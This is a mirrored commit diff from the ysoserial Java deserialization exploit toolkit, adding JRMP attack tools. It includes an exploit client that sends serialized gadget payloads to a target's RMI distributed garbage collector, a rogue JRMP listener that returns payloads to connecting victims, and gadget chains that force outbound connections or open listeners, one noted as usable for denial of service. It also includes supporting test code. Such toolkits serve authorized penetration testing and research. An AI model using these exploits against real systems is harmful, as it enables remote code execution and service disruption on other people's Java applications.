mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Add JRMP utilties, gadgets and test code.
This commit is contained in:
@@ -21,4 +21,5 @@ public @interface PayloadTest {
|
|||||||
String precondition() default "";
|
String precondition() default "";
|
||||||
|
|
||||||
String harness() default "";
|
String harness() default "";
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,139 @@
|
|||||||
|
package ysoserial.exploit;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.SocketException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.net.UnknownHostException;
|
||||||
|
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
import ysoserial.payloads.ObjectPayload.Utils;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
public class JRMPClient {
|
||||||
|
|
||||||
|
public static final void main ( final String[] args ) {
|
||||||
|
if ( args.length < 4 ) {
|
||||||
|
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
|
||||||
|
String hostname = args[ 0 ];
|
||||||
|
int port = Integer.parseInt(args[ 1 ]);
|
||||||
|
try {
|
||||||
|
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
|
||||||
|
makeDGCCall(hostname, port, payloadObject);
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param hostname
|
||||||
|
* @param port
|
||||||
|
* @param payloadObject
|
||||||
|
* @throws IOException
|
||||||
|
* @throws UnknownHostException
|
||||||
|
* @throws SocketException
|
||||||
|
*/
|
||||||
|
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
||||||
|
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||||
|
Socket s = null;
|
||||||
|
DataOutputStream dos = null;
|
||||||
|
try {
|
||||||
|
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||||
|
s.setKeepAlive(true);
|
||||||
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
|
OutputStream os = s.getOutputStream();
|
||||||
|
dos = new DataOutputStream(os);
|
||||||
|
|
||||||
|
dos.writeInt(TransportConstants.Magic);
|
||||||
|
dos.writeShort(TransportConstants.Version);
|
||||||
|
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||||
|
|
||||||
|
dos.write(TransportConstants.Call);
|
||||||
|
|
||||||
|
@SuppressWarnings ( "resource" )
|
||||||
|
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||||
|
|
||||||
|
objOut.writeLong(2); // DGC
|
||||||
|
objOut.writeInt(0);
|
||||||
|
objOut.writeLong(0);
|
||||||
|
objOut.writeShort(0);
|
||||||
|
|
||||||
|
objOut.writeInt(1); // dirty
|
||||||
|
objOut.writeLong(-669196253586618813L);
|
||||||
|
|
||||||
|
objOut.writeObject(payloadObject);
|
||||||
|
|
||||||
|
os.flush();
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
if ( dos != null ) {
|
||||||
|
dos.close();
|
||||||
|
}
|
||||||
|
if ( s != null ) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param out
|
||||||
|
*/
|
||||||
|
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||||
|
super(out);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||||
|
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||||
|
writeObject(null);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||||
|
String cb = "";
|
||||||
|
for ( URL u : us ) {
|
||||||
|
cb += u.toString();
|
||||||
|
}
|
||||||
|
writeObject(cb);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Serializes a location from which to load the specified class.
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
|
||||||
|
annotateClass(cl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,284 @@
|
|||||||
|
package ysoserial.exploit;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.BufferedInputStream;
|
||||||
|
import java.io.BufferedOutputStream;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.ObjectStreamClass;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.SocketException;
|
||||||
|
import java.rmi.MarshalException;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.UID;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
import ysoserial.payloads.ObjectPayload.Utils;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
public class JRMPListener implements Runnable {
|
||||||
|
|
||||||
|
private int port;
|
||||||
|
private Object payloadObject;
|
||||||
|
private ServerSocket ss;
|
||||||
|
private Object waitLock = new Object();
|
||||||
|
private boolean exit;
|
||||||
|
private boolean hadConnection;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param port
|
||||||
|
* @param payloadObject
|
||||||
|
* @throws IOException
|
||||||
|
* @throws NumberFormatException
|
||||||
|
*/
|
||||||
|
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.payloadObject = payloadObject;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public boolean waitFor ( int i ) {
|
||||||
|
try {
|
||||||
|
if ( this.hadConnection ) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
System.err.println("Waiting for connection");
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.wait(i);
|
||||||
|
}
|
||||||
|
return this.hadConnection;
|
||||||
|
}
|
||||||
|
catch ( InterruptedException e ) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public void close () {
|
||||||
|
this.exit = true;
|
||||||
|
try {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
catch ( IOException e ) {}
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static final void main ( final String[] args ) {
|
||||||
|
|
||||||
|
if ( args.length < 3 ) {
|
||||||
|
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
|
||||||
|
System.exit(-1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
|
||||||
|
|
||||||
|
try {
|
||||||
|
int port = Integer.parseInt(args[ 0 ]);
|
||||||
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
|
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||||
|
c.run();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see java.lang.Runnable#run()
|
||||||
|
*/
|
||||||
|
public void run () {
|
||||||
|
try {
|
||||||
|
Socket s = null;
|
||||||
|
try {
|
||||||
|
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
|
||||||
|
try {
|
||||||
|
s.setSoTimeout(5000);
|
||||||
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
|
System.err.println("Have connection from " + remote);
|
||||||
|
|
||||||
|
InputStream is = s.getInputStream();
|
||||||
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
|
||||||
|
// Read magic (or HTTP wrapper)
|
||||||
|
bufIn.mark(4);
|
||||||
|
DataInputStream in = new DataInputStream(bufIn);
|
||||||
|
int magic = in.readInt();
|
||||||
|
|
||||||
|
short version = in.readShort();
|
||||||
|
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
DataOutputStream out = new DataOutputStream(bufOut);
|
||||||
|
|
||||||
|
byte protocol = in.readByte();
|
||||||
|
switch ( protocol ) {
|
||||||
|
case TransportConstants.StreamProtocol:
|
||||||
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
|
out.writeUTF(remote.getHostString());
|
||||||
|
out.writeInt(remote.getPort());
|
||||||
|
out.flush();
|
||||||
|
in.readUTF();
|
||||||
|
in.readInt();
|
||||||
|
case TransportConstants.SingleOpProtocol:
|
||||||
|
doMessage(s, in, out, this.payloadObject);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
case TransportConstants.MultiplexProtocol:
|
||||||
|
System.err.println("Unsupported protocol");
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bufOut.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
catch ( InterruptedException e ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
System.err.println("Closing connection");
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
if ( s != null ) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
if ( this.ss != null ) {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
catch ( SocketException e ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param s
|
||||||
|
* @param in
|
||||||
|
* @param out
|
||||||
|
* @throws Exception
|
||||||
|
*/
|
||||||
|
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||||
|
System.err.println("Reading message...");
|
||||||
|
|
||||||
|
int op = in.read();
|
||||||
|
|
||||||
|
switch ( op ) {
|
||||||
|
case TransportConstants.Call:
|
||||||
|
// service incoming RMI call
|
||||||
|
doCall(in, out, payload);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.Ping:
|
||||||
|
// send ack for ping
|
||||||
|
out.writeByte(TransportConstants.PingAck);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.DGCAck:
|
||||||
|
UID u = UID.read(in);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
throw new IOException("unknown transport op " + op);
|
||||||
|
}
|
||||||
|
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param in
|
||||||
|
* @param out
|
||||||
|
* @throws Exception
|
||||||
|
*/
|
||||||
|
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass)
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
||||||
|
throw new IOException("Not allowed to read object");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
ObjID.read(ois);
|
||||||
|
}
|
||||||
|
catch ( java.io.IOException e ) {
|
||||||
|
throw new MarshalException("unable to read objID", e);
|
||||||
|
}
|
||||||
|
|
||||||
|
System.err.println("Sending return with payload");
|
||||||
|
|
||||||
|
out.writeByte(TransportConstants.Return);// transport op
|
||||||
|
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
|
||||||
|
|
||||||
|
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||||
|
new UID().write(oos);
|
||||||
|
|
||||||
|
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||||
|
Reflections.setFieldValue(ex, "val", payload);
|
||||||
|
oos.writeObject(ex);
|
||||||
|
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
|
||||||
|
this.hadConnection = true;
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.notifyAll();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
import sun.rmi.server.UnicastRef;
|
||||||
|
import sun.rmi.transport.LiveRef;
|
||||||
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
import ysoserial.PayloadTest;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||||
|
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||||
|
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||||
|
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||||
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||||
|
* LiveRef.read(ObjectInput, boolean)
|
||||||
|
* UnicastRef.readExternal(ObjectInput)
|
||||||
|
*
|
||||||
|
* Thread.start()
|
||||||
|
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||||
|
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||||
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||||
|
* LiveRef.read(ObjectInput, boolean)
|
||||||
|
* UnicastRef.readExternal(ObjectInput)
|
||||||
|
*
|
||||||
|
* Requires:
|
||||||
|
* - JavaSE
|
||||||
|
*
|
||||||
|
* Argument:
|
||||||
|
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||||
|
*
|
||||||
|
* Yields:
|
||||||
|
* * an established JRMP connection to the endpoint (if reachable)
|
||||||
|
* * a connected RMI Registry proxy
|
||||||
|
* * one system thread per endpoint (DOS)
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
||||||
|
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||||
|
|
||||||
|
public Registry getObject ( final String command ) throws Exception {
|
||||||
|
|
||||||
|
String host;
|
||||||
|
int port;
|
||||||
|
int sep = command.indexOf(':');
|
||||||
|
if ( sep < 0 ) {
|
||||||
|
port = new Random().nextInt(65535);
|
||||||
|
host = command;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
host = command.substring(0, sep);
|
||||||
|
port = Integer.valueOf(command.substring(sep + 1));
|
||||||
|
}
|
||||||
|
ObjID id = new ObjID(0); // RMI registry
|
||||||
|
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||||
|
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||||
|
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||||
|
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
|
||||||
|
Registry.class
|
||||||
|
}, obj);
|
||||||
|
return proxy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(JRMPClient.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.rmi.server.RemoteObject;
|
||||||
|
import java.rmi.server.RemoteRef;
|
||||||
|
import java.rmi.server.UnicastRemoteObject;
|
||||||
|
|
||||||
|
import sun.rmi.server.ActivationGroupImpl;
|
||||||
|
import sun.rmi.server.UnicastServerRef;
|
||||||
|
import ysoserial.PayloadTest;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||||
|
* UnicastRemoteObject.reexport() line: 266
|
||||||
|
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||||
|
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||||
|
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||||
|
* LiveRef.exportObject(Target) line: 147
|
||||||
|
* TCPEndpoint.exportObject(Target) line: 411
|
||||||
|
* TCPTransport.exportObject(Target) line: 249
|
||||||
|
* TCPTransport.listen() line: 319
|
||||||
|
*
|
||||||
|
* Requires:
|
||||||
|
* - JavaSE
|
||||||
|
*
|
||||||
|
* Argument:
|
||||||
|
* - Port number to open listener to
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
@PayloadTest( skip = "This test would make you potentially vulnerable")
|
||||||
|
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
|
||||||
|
|
||||||
|
public UnicastRemoteObject getObject ( final String command ) throws Exception {
|
||||||
|
int jrmpPort = Integer.parseInt(command);
|
||||||
|
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
|
||||||
|
RemoteRef.class
|
||||||
|
}, new Object[] {
|
||||||
|
new UnicastServerRef(jrmpPort)
|
||||||
|
});
|
||||||
|
|
||||||
|
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||||
|
return uro;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(JRMPListener.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -42,5 +42,29 @@ public interface ObjectPayload<T> {
|
|||||||
}
|
}
|
||||||
return clazz;
|
return clazz;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param payloadType
|
||||||
|
* @param payloadArg
|
||||||
|
* @return an payload object
|
||||||
|
*/
|
||||||
|
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
||||||
|
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||||
|
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||||
|
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
final Object payloadObject;
|
||||||
|
try {
|
||||||
|
final ObjectPayload payload = payloadClass.newInstance();
|
||||||
|
payloadObject = payload.getObject(payloadArg);
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
throw new IllegalArgumentException("Failed to construct payload",e);
|
||||||
|
}
|
||||||
|
return payloadObject;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,11 +6,15 @@
|
|||||||
*/
|
*/
|
||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public interface CustomTest extends Runnable {
|
public interface CustomTest {
|
||||||
|
|
||||||
|
void run (Callable<Object> payload) throws Exception;
|
||||||
|
|
||||||
|
String getPayloadArgs ();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,66 @@
|
|||||||
|
/**
|
||||||
|
* © 2016 AgNO3 Gmbh & Co. KG
|
||||||
|
* All right reserved.
|
||||||
|
*
|
||||||
|
* Created: 05.03.2016 by mbechler
|
||||||
|
*/
|
||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Random;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
|
||||||
|
import org.junit.Assert;
|
||||||
|
|
||||||
|
import ysoserial.CustomTest;
|
||||||
|
import ysoserial.exploit.JRMPListener;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class JRMPReverseConnectTest implements CustomTest {
|
||||||
|
|
||||||
|
private int port;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public JRMPReverseConnectTest () {
|
||||||
|
port = new Random().nextInt(65535 - 1024) + 1024;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
* @throws IOException
|
||||||
|
* @throws NumberFormatException
|
||||||
|
*
|
||||||
|
* @see java.lang.Runnable#run()
|
||||||
|
*/
|
||||||
|
public void run (Callable<Object> payload) throws Exception {
|
||||||
|
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
||||||
|
Thread t = new Thread(l, "JRMP listener");
|
||||||
|
try {
|
||||||
|
t.start();
|
||||||
|
payload.call();
|
||||||
|
Assert.assertTrue("Did not have connection", l.waitFor(1000));
|
||||||
|
} finally {
|
||||||
|
l.close();
|
||||||
|
t.interrupt();
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see ysoserial.CustomTest#getPayloadArgs()
|
||||||
|
*/
|
||||||
|
public String getPayloadArgs () {
|
||||||
|
return "localhost:" + port;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -66,7 +66,7 @@ public class PayloadsTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
|
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
|
||||||
final String command = "hostname";
|
String command = "hostname";
|
||||||
final String[] deps = buildDeps(payloadClass);
|
final String[] deps = buildDeps(payloadClass);
|
||||||
|
|
||||||
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
||||||
@@ -86,18 +86,24 @@ public class PayloadsTest {
|
|||||||
wrapper = Class.forName(t.harness()).newInstance();
|
wrapper = Class.forName(t.harness()).newInstance();
|
||||||
|
|
||||||
if ( wrapper instanceof CustomTest ){
|
if ( wrapper instanceof CustomTest ){
|
||||||
( (CustomTest) wrapper ).run();
|
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
||||||
try {
|
|
||||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||||
if ( wrapper instanceof WrappedTest ){
|
if ( wrapper instanceof WrappedTest ){
|
||||||
callable = ((WrappedTest)wrapper).createCallable(callable);
|
callable = ((WrappedTest)wrapper).createCallable(callable);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ( wrapper instanceof CustomTest ) {
|
||||||
|
( (CustomTest) wrapper ).run(callable);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
|
||||||
Object deserialized = sm.wrap(callable);
|
Object deserialized = sm.wrap(callable);
|
||||||
Assert.fail(ASSERT_MESSAGE); // should never get here
|
Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
Reference in New Issue
Block a user